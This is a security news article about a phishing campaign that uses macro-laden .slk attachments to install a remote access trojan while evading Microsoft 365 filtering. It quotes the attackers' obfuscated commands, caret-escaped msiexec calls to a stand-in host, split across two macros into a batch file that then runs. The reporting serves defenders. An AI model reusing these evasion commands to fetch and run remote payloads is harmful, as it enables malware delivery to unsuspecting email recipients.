Hackers use a new attack method that bypasses both Microsoft 365 default security (EOP) and advanced security (ATP).
The attack campaign specifically crafted to bypass Microsoft 365 uses a malicious .slk attachment that contains a macro embedded to download and install a remote access trojan.
The attack was detected by Avanan’s Security Analysts, according to analysts “At the time of writing, Microsoft 365 is still vulnerable and the attack is still being used extensively against Microsoft 365 customers.”
The “Symbolic Link” (SLK) is a text-based spreadsheet format, it is an alternative file format to XLSX. It’s very rare for anyone to receive the SLK files.
If you have the files received in your inbox, then likely you are being targeted by Remote Access Trojan malware that upgraded to bypass Advanced Threat Protection.
“The attack specifically targets Microsoft 365 accounts and until recently, was isolated to a small number of organizations,” reads Avanan report.
Attackers use highly customized emails to attack their targets, they are highly customized and uses topic most relevant organization and the individual targeted.
Here is the sample mail with attached SLK file
Following are the obfuscation techniques used to bypass ATP
The email found to be sent from thousands of Hotmail email address, attackers use it as an advantage to bypass security filters.
The macro script also includes escape characters to confuse ATP filters
M^s^ie^xec /ih^tt^p^:^/^/malicious-site.com/install.php ^/q
Also to confuse ATP the attackers split the URL into two macros
First macro
set /p=””M^s^ie^xec /ih^tt^p^:^/^/malicious-sit”” > JBfoT.bat
Second macro
set /p=””e.com/install.php ^/q”” >> JBfoT.bat & JBfoT.bat
The malicious SLK file runs two to create a malicious install script that install software based on commands provided by attackers.
Mitigation
Users are recommended configure your Office 365 account to reject files SLK files as they are relatively rare.
You can follow us on Linkedin, Twitter, Facebook for daily Cybersecurity, and hacking news updates.
Also Read
Cybercriminals are increasingly exploiting search engine optimization (SEO) techniques and paid advertisements to manipulate search…
Cybersecurity experts have unearthed an intricate cyber campaign that leverages deceptive websites posing as the…
Hackers are exploiting what's known as "Dangling DNS" records to take over corporate subdomains, posing…
Security researchers and cybersecurity experts have recently uncovered new variants of the notorious HelloKitty ransomware,…
The RansomHub ransomware group has emerged as a significant danger, targeting a wide array of…
Threat actors are increasingly using email bombing to bypass security protocols and facilitate further malicious…
View Comments
Hey GURUBARAN S,
Your Post is too good dude, there is lots of very useful information. I have read lots of blog related with this but Those tips I can't able to find out in others blog.
Thanks for sharing.